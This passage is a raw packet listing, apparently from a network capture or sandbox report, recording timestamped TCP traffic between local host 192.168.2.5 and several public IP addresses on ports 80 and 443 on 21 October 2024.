                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.382652998 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.389642954 CEST49872443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.389672995 CEST4434987234.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.390115023 CEST49872443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.391427994 CEST49872443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.391448975 CEST4434987234.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.391824961 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.435209990 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.503243923 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.557213068 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.813014030 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.818593025 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.913044930 CEST4434986934.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.913124084 CEST49869443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.938030958 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.987143040 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:43.007849932 CEST4434987234.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:43.007950068 CEST49872443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.074008942 CEST49869443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.074057102 CEST4434986934.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.074119091 CEST49872443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.074187040 CEST4434987234.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.074204922 CEST49869443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.074278116 CEST4434986934.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.074352980 CEST49872443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.074613094 CEST4434987234.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.074765921 CEST49881443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.074795961 CEST4434988134.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.075160027 CEST49869443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.075181007 CEST49872443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:44.075208902 CEST49881443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.071371078 CEST49881443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.071396112 CEST4434988134.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.080624104 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.085541010 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.088474989 CEST49888443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.088519096 CEST4434988834.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.088805914 CEST49888443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.090225935 CEST49888443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.090241909 CEST4434988834.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.206479073 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.209697962 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.215444088 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.246138096 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.334613085 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.387136936 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.680278063 CEST4434988134.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.680376053 CEST49881443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.685053110 CEST49881443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.685064077 CEST4434988134.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.685235023 CEST49881443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.685492992 CEST4434988134.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.686475039 CEST49881443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.689001083 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.693840981 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.694428921 CEST4434988834.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.694499016 CEST49888443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.698875904 CEST49888443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.698894024 CEST4434988834.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.698955059 CEST49888443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.699074984 CEST4434988834.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.699187040 CEST49888443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.787046909 CEST49893443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.787098885 CEST4434989334.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.789354086 CEST49893443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.789469957 CEST49893443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.789479971 CEST4434989334.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.795046091 CEST49894443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.795064926 CEST4434989434.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.795783043 CEST49894443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.795945883 CEST49894443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.795957088 CEST4434989434.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.814615011 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.817117929 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.820873976 CEST49895443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.820902109 CEST4434989534.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.820977926 CEST49895443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.822014093 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.822388887 CEST49895443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.822403908 CEST4434989534.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.855168104 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.956820011 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.010127068 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.392985106 CEST4434989434.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.393064976 CEST49894443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.395847082 CEST49894443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.395874023 CEST4434989434.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.396121025 CEST4434989434.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.398785114 CEST49894443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.398886919 CEST49894443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.398956060 CEST4434989434.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.399038076 CEST49894443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.401645899 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.405369997 CEST4434989334.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.405436993 CEST49893443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.406740904 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.407979965 CEST49893443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.408004999 CEST4434989334.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.408251047 CEST4434989334.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.410233021 CEST49893443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.410305023 CEST49893443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.410392046 CEST4434989334.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.410690069 CEST49893443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.454147100 CEST4434989534.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.454341888 CEST49895443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.458985090 CEST49895443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.458993912 CEST4434989534.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.459088087 CEST49895443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.459144115 CEST4434989534.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.459528923 CEST49895443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.463407040 CEST49901443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.463471889 CEST4434990134.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.463828087 CEST49901443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.465387106 CEST49901443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.465409040 CEST4434990134.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.526978016 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.531864882 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.536760092 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.569170952 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.656167030 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.698153019 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.080646038 CEST4434990134.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.080789089 CEST49901443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.085881948 CEST49901443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.085892916 CEST4434990134.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.085992098 CEST49901443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.086044073 CEST4434990134.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.090377092 CEST49901443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.091161013 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.093784094 CEST49906443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.093815088 CEST4434990634.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.094337940 CEST49906443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.095860958 CEST49906443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.095873117 CEST4434990634.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.096004963 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.216340065 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.219775915 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.224734068 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.269133091 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.344099045 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.392136097 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.710366964 CEST4434990634.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.710450888 CEST49906443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.715187073 CEST49906443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.715199947 CEST4434990634.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.715287924 CEST49906443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.715805054 CEST4434990634.120.208.123192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.717106104 CEST49906443192.168.2.534.120.208.123
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.719547987 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.724364042 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.845153093 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.848978996 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.853887081 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.892155886 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.975694895 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.034142971 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.057349920 CEST49927443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.057398081 CEST4434992735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.057914019 CEST49927443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.058116913 CEST49927443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.058130980 CEST4434992735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.074017048 CEST49928443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.074064016 CEST4434992834.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.075930119 CEST49929443192.168.2.535.190.72.216
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.075956106 CEST4434992935.190.72.216192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.079571009 CEST49929443192.168.2.535.190.72.216
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.079581022 CEST49928443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.079849958 CEST49928443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.079874039 CEST4434992834.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.081317902 CEST49929443192.168.2.535.190.72.216
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.081331015 CEST4434992935.190.72.216192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.081984997 CEST49930443192.168.2.552.222.236.120
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.082025051 CEST4434993052.222.236.120192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.083184958 CEST49930443192.168.2.552.222.236.120
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.083492994 CEST49930443192.168.2.552.222.236.120
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.083508968 CEST4434993052.222.236.120192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.088826895 CEST49931443192.168.2.535.201.103.21
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.088836908 CEST4434993135.201.103.21192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.090348005 CEST49931443192.168.2.535.201.103.21
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.092044115 CEST49931443192.168.2.535.201.103.21
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.092058897 CEST4434993135.201.103.21192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.666759014 CEST4434992735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.669325113 CEST49927443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.672346115 CEST49927443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.672353029 CEST4434992735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.672590017 CEST4434992735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.674999952 CEST49927443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.675127029 CEST49927443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.675165892 CEST4434992735.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.675668955 CEST49927443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.679307938 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.684267044 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.689821005 CEST4434992935.190.72.216192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.689887047 CEST49929443192.168.2.535.190.72.216
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.693630934 CEST49929443192.168.2.535.190.72.216
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.693639040 CEST4434992935.190.72.216192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.693691015 CEST49929443192.168.2.535.190.72.216
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.693829060 CEST4434992935.190.72.216192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.694698095 CEST49929443192.168.2.535.190.72.216
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.701419115 CEST4434993135.201.103.21192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.701483965 CEST49931443192.168.2.535.201.103.21
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.703079939 CEST4434992834.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.703221083 CEST49928443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.705823898 CEST49928443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.705833912 CEST4434992834.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.706186056 CEST4434992834.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.708420992 CEST49931443192.168.2.535.201.103.21
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.708430052 CEST4434993135.201.103.21192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.708512068 CEST49931443192.168.2.535.201.103.21
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.708673954 CEST4434993135.201.103.21192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.708795071 CEST49928443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.708842993 CEST49928443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.708970070 CEST4434992834.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.709654093 CEST49931443192.168.2.535.201.103.21
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.709671021 CEST49928443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.720050097 CEST49937443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.720098019 CEST4434993734.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.720181942 CEST49937443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.720304012 CEST49937443192.168.2.534.149.100.209
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.720315933 CEST4434993734.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.804958105 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.808099031 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.813216925 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.848134995 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.932333946 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.942904949 CEST4434993052.222.236.120192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.942991018 CEST49930443192.168.2.552.222.236.120
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.946436882 CEST49930443192.168.2.552.222.236.120
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.946449041 CEST4434993052.222.236.120192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.946846008 CEST4434993052.222.236.120192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.949415922 CEST49930443192.168.2.552.222.236.120
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.949515104 CEST49930443192.168.2.552.222.236.120
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.949651003 CEST4434993052.222.236.120192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.956577063 CEST49930443192.168.2.552.222.236.120
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.958014965 CEST49938443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.958054066 CEST4434993835.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.958379030 CEST49938443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.958504915 CEST49938443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.958517075 CEST4434993835.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.962877989 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.963795900 CEST49939443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.963892937 CEST4434993935.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.963947058 CEST49940443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.963980913 CEST4434994035.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.964157104 CEST49939443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.964230061 CEST49940443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.964237928 CEST49939443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.964261055 CEST4434993935.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.964318037 CEST49940443192.168.2.535.244.181.201
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.964330912 CEST4434994035.244.181.201192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.968729973 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.975131989 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.088172913 CEST804978934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.093708038 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.098639011 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.142262936 CEST4978980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.218050957 CEST804982934.107.221.82192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.264127970 CEST4982980192.168.2.534.107.221.82
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.340490103 CEST4434993734.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.351399899 CEST4434993734.149.100.209192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.354046106 CEST49937443192.168.2.534.149.100.209
